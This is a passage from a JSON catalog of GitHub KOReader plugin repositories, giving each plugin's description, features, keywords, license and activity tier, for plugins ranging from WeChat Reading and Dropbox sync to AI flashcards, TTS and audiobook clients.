原生弹窗显示"],"keywords":["weread","desktop","github","actions","wereaddesktop","kobo","kindle","epub","alpha","beta","http","kindletool","spec","tools","kfmon","nickelmenu","repo","update","0-alpha","dist","installer","linux","macos","pull"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T00:23:18Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":17828,"detail":"detail/zhangweiii__wereaddesktop.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"zhouwt/weread.koplugin","owner":"zhouwt","repo":"weread.koplugin","url":"https://github.com/zhouwt/weread.koplugin","description":"微信读书 koreader 插件，在 koreader 里阅读微信读书里的书籍、公众号文章，并做到进度、阅读时长同步，阅读时间上报。","purpose":"在 KOReader 上阅读微信读书书籍和公众号文章、同步阅读时长的插件。 书籍 公众号 阅读时间上报 书籍管理 将插件目录复制到 KOReader 的 plugins 目录： 重启 KOReader，在菜单中找到： 所有配置通过 `config.lua` 文件完成。首次使用：","categories":["content"],"features":["浏览微信读书书架，搜索书籍","下载单章或整本书为 EPUB，直接在 KOReader 中阅读","章节内容解码、CSS 样式、图片资源打包","自动生成目录（TOC），自动嵌入封面","下载并嵌入划线和想法，阅读时可一键显示/隐藏，点击划线查看想法内容","浏览已关注的公众号列表","下载公众号文章为 HTML（图片内嵌 base64，KOReader 可自由调节字体大小）","文章列表本地缓存，无需重复请求","后台自动向微信读书上报阅读时长（默认每 30 秒一次）","支持两种目标书籍模式："],"keywords":["weread","todo","api","key","curl","cookie","payload","x-wrpa-0","config","read","articles","bash","book","cache","copy","epub","network","css","toc","html","base64"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-07T04:10:19Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":7947,"detail":"detail/zhouwt__weread.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"zoyahav/dropboxsync.koplugin","owner":"zoyahav","repo":"dropboxsync.koplugin","url":"https://github.com/zoyahav/dropboxsync.koplugin","description":"","purpose":"A KOReader plugin that provides one-click synchronization between your Kindle's home directory and a Dropbox folder. Files in Dropbox that aren't on your Kindle will be downloaded, and files on your Kindle that aren't in Dropbox will be uploaded.","categories":["sync","ui","files"],"features":["One-click sync - No complex menus, just tap and sync","Uses existing Dropbox config - Reuses your Cloud Storage Dropbox configuration","Two-way sync - Downloads new files from Dropbox, uploads new local files to Dropbox","WiFi aware - Prompts to enable WiFi if not connected","Connect your Kindle to your computer via USB","Eject the Kindle and restart KOReader","Open KOReader","Go to Tools → Cloud Storage","Tap the + button and select Dropbox","Follow the prompts to authenticate with your Dropbox account"],"keywords":["dropbox","sync","prerequisites","works","troubleshooting","config","found","showing","menu","errors","file","locations","files","kindle","cloud","folder","storage","check","directory","dropboxsync","exists","home","settings","wifi"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-10T18:40:21Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2882,"detail":"detail/zoyahav__dropboxsync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Zwipfy/autoturnplus.koplugin","owner":"Zwipfy","repo":"autoturnplus.koplugin","url":"https://github.com/Zwipfy/autoturnplus.koplugin","description":"An enhanced fork of KOReader's AutoTurn plugin with adaptive timing, visual progress bar and gesture-based time extension.","purpose":"AutoTurnPlus is an enhanced fork of the official AutoTurn plugin for KOReader. It extends the original automatic page-turning functionality with adaptive timing, a visual countdown and additional configuration options.","categories":["reading"],"features":["Automatic page turning","Default page-turn time can be configured","Automatic adjustment of the page-turn time based on manual page turns","Visual progress bar while reading","Progress bar can be displayed on the left or right side","Progress bar uses the available reading area between the status bars","Black-to-white visual countdown","Configurable action to extend the remaining reading time","The time-extension action can be assigned to a custom KOReader gesture","Configurable amount of additional time"],"keywords":["enhanced","fork","autoturn","adaptive","timing","visual","progress","bar","gesture-based","time","extension","autoturnplus","gesture","configuration","about","action","additional","original","automatic","reading","amount","assigned","based","configurable"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T12:07:00Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1680,"detail":"detail/Zwipfy__autoturnplus.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"33Mic/bongocat.koplugin","owner":"33Mic","repo":"bongocat.koplugin","url":"https://github.com/33Mic/bongocat.koplugin","description":"Ever wanted bongo cat on your e-reader? well here you are!","purpose":"Because reading is great, but tapping along to the rhythm of your thoughts is better. This plugin brings the legendary Bongo Cat to your e-reader, allowing you to engage in some high-stakes digital percussion between chapters.","categories":["ui"],"features":[],"keywords":["ever","wanted","bongo","cat","e-reader","well","here","bongocat","does","play","customization","paws","device","folder","images","screen","bongolr","directory","down","hold"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-27T19:41:17Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1568,"detail":"detail/33Mic__bongocat.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"3gnome/AnkiKOAi.koplugin","owner":"3gnome","repo":"AnkiKOAi.koplugin","url":"https://github.com/3gnome/AnkiKOAi.koplugin","description":"KOReader plugin: long-press a word or highlight a passage to create AI Wiki cards, dictionary-only Vocabulary cards, or LPCG-style Memorization decks for poetry/prose, then sync to Anki via AnkiConnect (optional AnkiWeb auto-sync). On-device settings, multiple AI providers (DashScope, Gemini, OpenAI, OpenRouter). Kobo, Kindle, desktop.","purpose":"KOReader plugin: long-press a word or highlight a passage while reading → AI vocabulary cards or LPCG-style memorization decks → sync to Anki via AnkiConnect.","categories":["sync","dict","ai","device"],"features":["Wiki Card (AI) — Wikipedia/Wiktionary + AI turn a highlight into a reading note (term on front, article + Wikipedia links on back)","Vocabulary Card (No AI) — KOReader dictionary lookup only — definition + passage, no AI","Memorization Card (No AI, Multi-Line) — overlapping step cards + full-recitation card for poetry and prose (AnkiLPCG-style)","AnkiConnect — send to desktop Anki; optional auto-sync to AnkiWeb after send","My Cards — pending outbox only; Recently sent log for confirmed sends; manual batch send shows Sending… N/M progress; batch send…","View All Highlights — checklist of highlights from the current book (or Switch book… for any book in history): multi-select,…","Settings UI — Card defaults (note types, decks, one-tap send), AI providers, memorization behavior, sync; gray rows = tap for…"],"keywords":["ai","anki","anki-connect","e-ink","ebook","flashcards","kindle","kobo","koplugin","koreader","koreader-plugin","language-learning","lua","memorization","spaced-repetition","vocabulary","long-press","word","highlight","passage","create","wiki","cards","dictionary-only"],"topics":["ai","anki","anki-connect","e-ink","ebook","flashcards","kindle","kobo","koplugin","koreader","koreader-plugin","language-learning","lua","memorization","spaced-repetition","vocabulary"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-07T17:14:18Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":12876,"detail":"detail/3gnome__AnkiKOAi.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"3gnome/tagbankhighlightsync.koplugin","owner":"3gnome","repo":"tagbankhighlightsync.koplugin","url":"https://github.com/3gnome/tagbankhighlightsync.koplugin","description":"KOReader: tag highlights, cloud sync, Obsidian quote library","purpose":"TagBankHighlightSync tags highlights on KOReader, synchronizes and merges annotations across devices via cloud storage (WebDAV, Dropbox, and other Cloud storage+ providers), and exports a tagged quote library for Obsidian and other Markdown tools.","categories":["sync","ui","library","files","notes"],"features":["Place it in koreader/plugins/ on your device","Enable TagBankHighlightSync and Cloud storage (plugin name; menu may show Cloud Storage on device) in Tools → More tools → Plugin…","Tools → Cloud Storage — add your cloud account (WebDAV, Dropbox, etc.)","Tools → Tag Bank Highlight Sync → Cloud folder — tap your server, open /, long-press Long-press here to choose current folder,…","Cloud folder (top-level menu) — set your cloud sync folder","When to sync → Turn on Tag Bank Highlight Sync","Cloud file name → Recommended: KOReader sidecar name (same on all devices)","Categories — Tag highlight → Add folder… / Add tag… (Make folder from Add tag when needed)","Quote library → Turn on quote library (Markdown)","Tag highlights → Sync now (or Sync Highlights for JSON + library upload)"],"keywords":["tag","highlights","cloud","sync","obsidian","quote","library","tagbankhighlightsync","beta","warning","documentation","setup","storage","required","local","webdav","windows","optional","menu","two","layers","free","personal","apple"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-07T17:08:13Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":13071,"detail":"detail/3gnome__tagbankhighlightsync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"4285f4/dither256.koplugin","owner":"4285f4","repo":"dither256.koplugin","url":"https://github.com/4285f4/dither256.koplugin","description":"","purpose":"通过 Floyd-Steinberg 误差扩散算法，将 256 阶灰度图片转换为 16 阶灰度显示，优化墨水屏设备的图片显示效果。 （仓库根目录另有 `tools/compile_mo.py`，用于把 .po 编译成 .mo）","categories":["misc"],"features":["Floyd-Steinberg 抖动算法 - 业界标准的误差扩散算法，效果优秀","实时处理 - 通过 hook _updateWindow 在每次屏幕刷新时自动应用","设置保存 - 启用/禁用状态自动保存，重启后保持","低开销 - 直接操作 blitbuffer，性能影响小","将 dither256.koplugin 文件夹复制到 KOReader 的 plugins 目录","重启 KOReader","在主菜单 → 工具 → 更多工具 中找到 \"256阶灰度抖动\"","启用抖动开关","源码中的用户可见字符串全部为英文 msgid 并包 _()。","插件在加载时通过 localize.setup() 调用 KOReader 的 GetText.loadMO()，将 l10n/ /koreader.mo 合并进全局翻译表，无需重新编译 KOReader。"],"keywords":["256","floyd-steinberg","blitbuffer","compile","gettext","hook","l10n","msgid","tools","updatewindow","dither256","localize","setup","loadmo"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T05:29:56Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3283,"detail":"detail/4285f4__dither256.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"5kxh2dxqmd-afk/instaparserquickrss.koplugin","owner":"5kxh2dxqmd-afk","repo":"instaparserquickrss.koplugin","url":"https://github.com/5kxh2dxqmd-afk/instaparserquickrss.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-20T15:59:08Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"abhignan-rakshith/kindle-askai","owner":"abhignan-rakshith","repo":"kindle-askai","url":"https://github.com/abhignan-rakshith/kindle-askai","description":"An AI reading companion for jailbroken Kindles — a KOReader plugin powered by OpenRouter. Ask about highlights or the current page, with e-ink-first UI.","purpose":"A KOReader plugin that puts an AI assistant inside your book. Highlight a passage and ask what it means, ask about the page you're looking at (including diagrams and tables), or just open a general chat. Answers render as formatted text and can be exported as readable articles.","categories":["ui","ai","device","notes"],"features":["Ask about a highlight — select text, then Explain / Summarize / Translate","Ask about the current page — sends a screenshot, so you can ask about","General chat — from the KOReader menu or straight from KUAL","Spoiler protection — optionally tells the model not to reveal anything","Clarifying questions — when your request is ambiguous the AI can offer","History — every chat is saved, searchable, renameable, and survives","Export — turn any reply or whole chat into an HTML article you can read","Optional web search — let the model look things up for a reply, toggled","You confirm before anything is uploaded. A screenshot can contain","Your model doesn't have to support images. If it doesn't, you're told"],"keywords":["ai","eink","kindle","kindle-jailbreak","koreader","koreader-plugin","llm","lua","openrouter","reading","companion","jailbroken","kindles","powered","ask","about","highlights","current","page","e-ink-first","yet","does","one","see"],"topics":["ai","eink","kindle","kindle-jailbreak","koreader","koreader-plugin","llm","lua","openrouter","reading"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-20T11:25:41Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":16922,"detail":"detail/abhignan-rakshith__kindle-askai.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"adnaanbheda/autosyncthing.koplugin","owner":"adnaanbheda","repo":"autosyncthing.koplugin","url":"https://github.com/adnaanbheda/autosyncthing.koplugin","description":"","purpose":"","categories":["misc"],"features":[],"keywords":[],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-27T09:51:37Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"AgustinGalante19/readit.koplugin","owner":"AgustinGalante19","repo":"readit.koplugin","url":"https://github.com/AgustinGalante19/readit.koplugin","description":"","purpose":"This KOReader plugin integrates seamlessly with the Read-It webapp, automatically synchronizing your reading statistics and progress in real-time. Track your reading habits, view detailed analytics, and manage your library from both your e-reader and web browser.","categories":["ui"],"features":["Automatic Synchronization: Syncs reading statistics automatically when saving settings or closing documents","Reading Sessions Tracking: Records detailed reading sessions including page, duration, and timestamp","Multi-device Support: Use a user code to sync across multiple devices, or use device-specific tracking","Book Metadata: Syncs book information including title, authors, pages, and reading progress","Manual Sync: Option to manually trigger synchronization at any time","Google Books Integration: Link your local books with Google Books entries","Debug Mode: Development mode for testing with local API endpoints","The plugin will appear in the \"Tools\" menu as \"Read It\"","Open any book in KOReader","Go to Tools → Read It"],"keywords":["read","configuration","setting","code","linking","book","manual","synchronization","automatic","data","synchronized","menu","options","technical","details","dependencies","privacy","reading","statistics","sync","books","syncs","device","link"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-13T14:53:28Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":4163,"detail":"detail/AgustinGalante19__readit.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"aisaiev/rork.koplugin","owner":"aisaiev","repo":"rork.koplugin","url":"https://github.com/aisaiev/rork.koplugin","description":"","purpose":"Ukrainian reading tracker sync for KOReader. Track books from your Rork library, log reading sessions, and stay in sync with the server.","categories":["ui","files"],"features":["Toggle reading — single Start/Stop action from menu, dispatcher, or Zen UI button","Recording dot — black dot at top-right when reading is active (configurable)","Zen UI integration — quick settings button auto-registers on first load","Book matching — matches currently open book to your Rork library by ISBN or title","Two-phase sync — pull snapshot on start, push tick on end with server acknowledgement","Open any book in KOReader","Open the top menu → Tools → Rork → Login (enter your Rork credentials)","Start reading — Rork → Start Reading or assign to a gesture via dispatcher","Stop reading — Rork → Stop Reading or same gesture toggles","Sync happens automatically on stop"],"keywords":["rork","dispatcher","gesture","button","mapping","zen","quick","settings","recording","dot","development","files","requirements","reading","sync","book","start","stop","toggle","action","login","menu","open","server"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-14T16:25:42Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2208,"detail":"detail/aisaiev__rork.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"AlexKucera/absaudio.koplugin","owner":"AlexKucera","repo":"absaudio.koplugin","url":"https://github.com/AlexKucera/absaudio.koplugin","description":"A KOReader plugin for PocketBook Era that connects to a self-hosted Audiobookshelf server, lets you browse and download audiobooks directly on the e-reader, plays them through PocketBook's native audio player, and syncs playback position back to ABS so you can pick up where you left off on any device.","purpose":"A KOReader plugin that connects to a self-hosted Audiobookshelf (ABS) server. Browse your audiobook library, download files with resume support, play them on-device via inkview FFI, and sync playback position across devices.","categories":["library","files","reading","content"],"features":["KOReader v2024.11 or later (tested with emulator build v2026.03)","Audiobookshelf v2.x server with API access","Target device: PocketBook Era Color (emulator testing available on macOS/Linux)","The plugin appears under Plugins → ABS Audio in the hamburger menu","Emulator: Logs appear in the terminal where ./kodev run was executed","Device: Logs go to crash.log in the KOReader directory","Device: PocketBook Era Color only","Server: Audiobookshelf v2.x","Features: Browse library, download audio+PDF/ebook, playback with chapters/speed/sleep timer, bidirectional progress sync"],"keywords":["pocketbook","era","connects","self-hosted","audiobookshelf","server","lets","browse","download","audiobooks","directly","e-reader","plays","them","through","native","audio","player","syncs","playback","position","back","abs","pick"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-16T16:21:09Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3936,"detail":"detail/AlexKucera__absaudio.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"anatoly314/speakword.koplugin","owner":"anatoly314","repo":"speakword.koplugin","url":"https://github.com/anatoly314/speakword.koplugin","description":"KOReader plugin: speak selected words/sentences via TTS — Android system TTS (default, free, offline) and ElevenLabs (premium voices) — by Anatoly Tarnavsky","purpose":"Pronounce selected words and sentences in KOReader. Two providers ship in the box: TTS engine the device has installed (typically Speech Services by Google). No signup, no API key, no network round-trip, no per-call cost. The voice picker only shows voices with offline data already downloaded, so picking one always…","categories":["reading","notes"],"features":["Android System TTS (default — on-device, free, offline) — uses whichever","ElevenLabs (cloud, paid free tier) — noticeably higher quality than","Adds a Speak button to KOReader's dictionary popup, on its own row (so","Adds a Speak button to the highlight dialog so phrases and full","Caches synthesized audio per book, so re-tapping the same word never","Maps every plausible failure (bad API key, quota exceeded, network down,","For Android System TTS (default): just make sure your device has a TTS engine installed (most do — typically Speech Services by…","Single word: tap a word, the dictionary popup appears; tap \"Speak\"","Phrase / sentence: long-press to highlight, then tap \"Speak\" on the","Android System TTS plays via TextToSpeech.speak() — the engine"],"keywords":["android","elevenlabs","ereader","koreader","koreader-plugin","text-to-speech","tts","speak","selected","words","sentences","via","system","default","free","offline","premium","voices","anatoly","tarnavsky","speakword","does","configuring","voice"],"topics":["android","elevenlabs","ereader","koreader","koreader-plugin","text-to-speech","tts"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-07T22:09:29Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9857,"detail":"detail/anatoly314__speakword.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"AndyHazz/readingspeedinspector.koplugin","owner":"AndyHazz","repo":"readingspeedinspector.koplugin","url":"https://github.com/AndyHazz/readingspeedinspector.koplugin","description":"KOReader plugin: shows how reading speed and time-remaining estimates are calculated, with a per-page histogram and stats breakdown","purpose":"A KOReader plugin that shows how reading speed and time-remaining estimates are calculated. Copy the entire folder to your KOReader `plugins/` directory:","categories":["reading"],"features":["Formula breakdown: pages_left × avg_time/page = estimated time remaining for both book and current chapter","Per-page histogram: a bar chart of reading time per page across the entire book, with colour coding for historical data, current…","Detailed stats: averaging inputs, session vs historical data split, filter thresholds (min/max page duration), current page dwell…","Menu: Tools > Reading statistics > Reading speed inspector","Dispatcher action: Assign \"Reading speed inspector\" to any gesture or tap zone","Below 5 seconds: ignored (you were skimming)","Above 120 seconds: capped (you were away or fell asleep)"],"keywords":["shows","reading","speed","time-remaining","estimates","calculated","per-page","histogram","stats","breakdown","inspector","calculates","page","time","book","current","pages","average","data","seconds","session","across","capped","dwell"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-31T22:45:27Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":1783,"detail":"detail/AndyHazz__readingspeedinspector.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"aoguside/legadosync.koplugin","owner":"aoguside","repo":"legadosync.koplugin","url":"https://github.com/aoguside/legadosync.koplugin","description":"Sync KOReader reading progress with Legado through WebDAV","purpose":"一个轻量级 KOReader 插件，通过 Legado（阅读）的 WebDAV `bookProgress` 目录，在 KOReader 与 Legado 之间同步当前书籍的阅读进度。 下载 `legadosync.koplugin.zip`。","categories":["sync","reading","content"],"features":["手动拉取或推送当前书籍的阅读进度。","可在打开书籍时自动拉取较新的进度。","可在关闭书籍时自动上传当前进度。","可为每本书单独关闭自动同步，手动同步仍然可用。","按书保存书名、作者、远端文件名和章节偏移。","支持导出书籍中额外的封面、简介等前置章节。","只处理当前书籍，不扫描书库，也不同步书籍文件、笔记或书签。","从 Releases","解压后确认得到名为 legadosync.koplugin 的文件夹。","将该文件夹复制到 KOReader 的 plugins 目录。"],"keywords":["ebook","koreader","legado","lua","webdav","sync","reading","progress","through","legadosync","bookprogress"],"topics":["ebook","koreader","legado","lua","webdav"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-12T10:00:02Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3154,"detail":"detail/aoguside__legadosync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"aoguside/portable-reading-archive.koplugin","owner":"aoguside","repo":"portable-reading-archive.koplugin","url":"https://github.com/aoguside/portable-reading-archive.koplugin","description":"Portable, versioned KOReader reading history, progress, annotations and statistics archive with WebDAV sync.","purpose":"下载最新版本 · 问题与建议 第一阶段原型：把 KOReader 阅读数据导出为开放、版本化的 JSON，并可手动上传到坚果云 WebDAV。 第一阶段不会修改或恢复 KOReader 进度，也不会自动删除任何本地或云端文件。","categories":["sync","reading","notes"],"features":["从 KOReader 阅读历史枚举已经打开过的书籍。","只读导出 .sdr 中的书目、阅读状态、当前位置、书签和批注。","只读导出 statistics.sqlite3 中的累计阅读时间、翻页统计和每日阅读活动。","在 koreader/portablearchive/ 生成 manifest.json、逐书 JSON、每日统计和单文件手机统计页 index.html。","手动上传 JSON/HTML 到 WebDAV；不会上传电子书正文、KOReader 设置和 webdav.json。","本地写入采用 .part 临时文件后改名，降低导出中断造成文件损坏的概率。","可以在 KOReader 的“手机统计页显示内容”中选择总览、时长、趋势、年度日历、最近阅读、进度及批注数量。","统计页不提取封面、不扫描书籍正文，也不重建复杂阅读会话，适合 Kindle 上快速生成。","书名、作者和格式；","阅读时间与阅读日期；"],"keywords":["portable","versioned","reading","history","progress","annotations","statistics","archive","webdav","sync","json","html","kindle","portablearchive","index","sdr","sqlite3","manifest","part"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T09:57:45Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3392,"detail":"detail/aoguside__portable-reading-archive.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"arduinodude456/quicky.koplugin","owner":"arduinodude456","repo":"quicky.koplugin","url":"https://github.com/arduinodude456/quicky.koplugin","description":"Advanced Notes plugin for KOReader. Fork of \"Notes\" with many improvements.","purpose":"","categories":["notes"],"features":["Support for kobo stylus: Eraser width and marker button","MULTICOLOR","color chooser(star icon) and 7 quick-access buttons for colors","adjustable pen widtth","quiick buttons for Background: lines and karo"],"keywords":["advanced","notes","fork","many","improvements","quicky","take","everywhere","better","buttons","kobo","stylus","eraser","width","marker","button","multicolor","color","chooser","star","icon","quick-access","colors","adjustable"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-29T14:23:09Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":283,"detail":"detail/arduinodude456__quicky.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"arduinodude456/square.koplugin","owner":"arduinodude456","repo":"square.koplugin","url":"https://github.com/arduinodude456/square.koplugin","description":"Jump 'n' run Game for KOReader. Fast Graphics. Geometry Dash.","purpose":"Jump 'n' run Game for KOReader. Fast Graphics. Geometry Dash. The game *DOES NOT CONTAIN ANY TEXT* because I'm lazy. Your score are the yellow coins in the upper left corner (if there). Of course they're only yellow if you have a color display :) The game is a simple clone of the well-known \"Geometry Dash\". You (the…","categories":["games"],"features":[],"keywords":["jump","run","game","fast","graphics","geometry","dash","square","play","yellow","chrome","corner","dino","have","left","obstacles","upper"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-17T12:52:46Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":689,"detail":"detail/arduinodude456__square.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"arduinodude456/tiktok.koplugin","owner":"arduinodude456","repo":"tiktok.koplugin","url":"https://github.com/arduinodude456/tiktok.koplugin","description":"WATCH VIDEOS like on TikTok on your E-READER!!! Internet required. Disable Color Rendering in KOReader.","purpose":"YOU HAVE TO ENABLE WLAN SO TikTok can DOWNLOAD VIDEOS FROM MY SERVER To improve speed, especially Kobo libra Colour, Tolino Vision Color, then you have to disable Color rendering in Settings->Screen->Enable color rendering To load the next video, hold the screen with a tap hold ad hold until the video stops","categories":["web"],"features":[],"keywords":["watch","videos","like","tiktok","e-reader","internet","required","disable","color","rendering","wlan","displays","ink","hold","enable","have","video"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-22T14:35:54Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":404,"detail":"detail/arduinodude456__tiktok.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"AronnaxM/hitokoto.koplugin","owner":"AronnaxM","repo":"hitokoto.koplugin","url":"https://github.com/AronnaxM/hitokoto.koplugin","description":"KOReader plugin that displays Hitokoto on your sleep screen.","purpose":"KOReader plugin that displays Hitokoto on your sleep screen.","categories":["misc"],"features":["Display a random sentence on your sleep screen","Adjust sentence alignment and font size","Enable the plugin in 'Settings → Screen → Hitokoto Screensaver'","Now your Screensaver will display a random quote from Hitokoto : )","KOReader","Hitokoto","customisablesleepscreen.koplugin"],"keywords":["displays","hitokoto","sleep","screen","gallary","compatibility","credit","folder","display","download","kindle","place","random","screensaver","sentence","sentences","adjust","alignment","font","size","enable","settings","now","quote"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-10T12:20:21Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1539,"detail":"detail/AronnaxM__hitokoto.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ashbruh/metafetch.koplugin","owner":"ashbruh","repo":"metafetch.koplugin","url":"https://github.com/ashbruh/metafetch.koplugin","description":"Fetch metadata for books on device.","purpose":"","categories":["library"],"features":[],"keywords":["fetch","metadata","books","device"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-07T06:58:32Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"ashbruh/pluginlauncher.koplugin","owner":"ashbruh","repo":"pluginlauncher.koplugin","url":"https://github.com/ashbruh/pluginlauncher.koplugin","description":"GUI plugin launcher","purpose":"A Koreader plugin that allows you to add launchable plugins and displays them in a table to act as a standalone plugin launcher. Useful if you want a custom list of plugins in a seperate launch menu eg: creating a games tab on SimpleUI.","categories":["ui"],"features":[],"keywords":["gui","launcher"],"topics":[],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-27T15:44:49Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":378,"detail":"detail/ashbruh__pluginlauncher.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"benwoody/bookwyrm.koplugin","owner":"benwoody","repo":"bookwyrm.koplugin","url":"https://github.com/benwoody/bookwyrm.koplugin","description":"Mirror of bookwyrm.koplugin on Codeberg","purpose":"A read-only BookWyrm plugin for KOReader. View your BookWyrm shelves on your e-reader, match your to-read list against books on your device, and open matched books directly.","categories":["library","device","files"],"features":["Kindle: /mnt/us/koreader/plugins/","Kobo: /mnt/onboard/.adds/koreader/plugins/","PocketBook: /applications/koreader/plugins/","Android: Depends on your install — typically koreader/plugins/ on internal storage","On this Kindle — Books matched by ISBN or title, with reading progress and time spent. Tap to open the book directly","Not on this Kindle — The rest of your queue. Tap for book details","ISBN — from the epub's metadata (DocSettings sidecar)","Exact title — normalized (lowercased, non-alphanumeric stripped)","Substring title — handles series prefixes like Walt Longmire Mysteries - 02 - Death Without Company","Read-only — no way to update reading status on BookWyrm. BookWyrm lacks an authenticated API; see bookwyrm-social/bookwyrm#785"],"keywords":["activitypub","bookwyrm","ebook","kindle","koreader","lua","koplugin","koreader-plugin","koreader-plugins","mirror","codeberg","recommended","source","setup","view","shelves","reading","queue","book","matching","author","caching","file","structure"],"topics":["activitypub","bookwyrm","ebook","kindle","koreader","lua","koplugin","koreader-plugin","koreader-plugins"],"stars":0,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-19T17:39:50Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4775,"detail":"detail/benwoody__bookwyrm.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"bitesized/annasarchive.koplugin","owner":"bitesized","repo":"annasarchive.koplugin","url":"https://github.com/bitesized/annasarchive.koplugin","description":"","purpose":"A KOReader plugin to search Anna's Archive and download books directly to your device. It does not talk to Anna's Archive directly. Instead it talks to a small self-hosted companion service, annas-archive-api, which handles scraping search results and proxying authenticated fast-download requests.","categories":["notes"],"features":["KOReader (tested on v2025.10)","A running instance of","An Anna's Archive fast-download key (for downloads; searching works without","Anna's Archive → Search, type a query, and confirm","Pick a result from the list (the format is shown on the right)","Confirm the download. The file is fetched and saved to your Download Dir,","Search — GET /api/search?query= &limit=20&tld=","Malformed or partial search entries (which Anna's Archive can emit 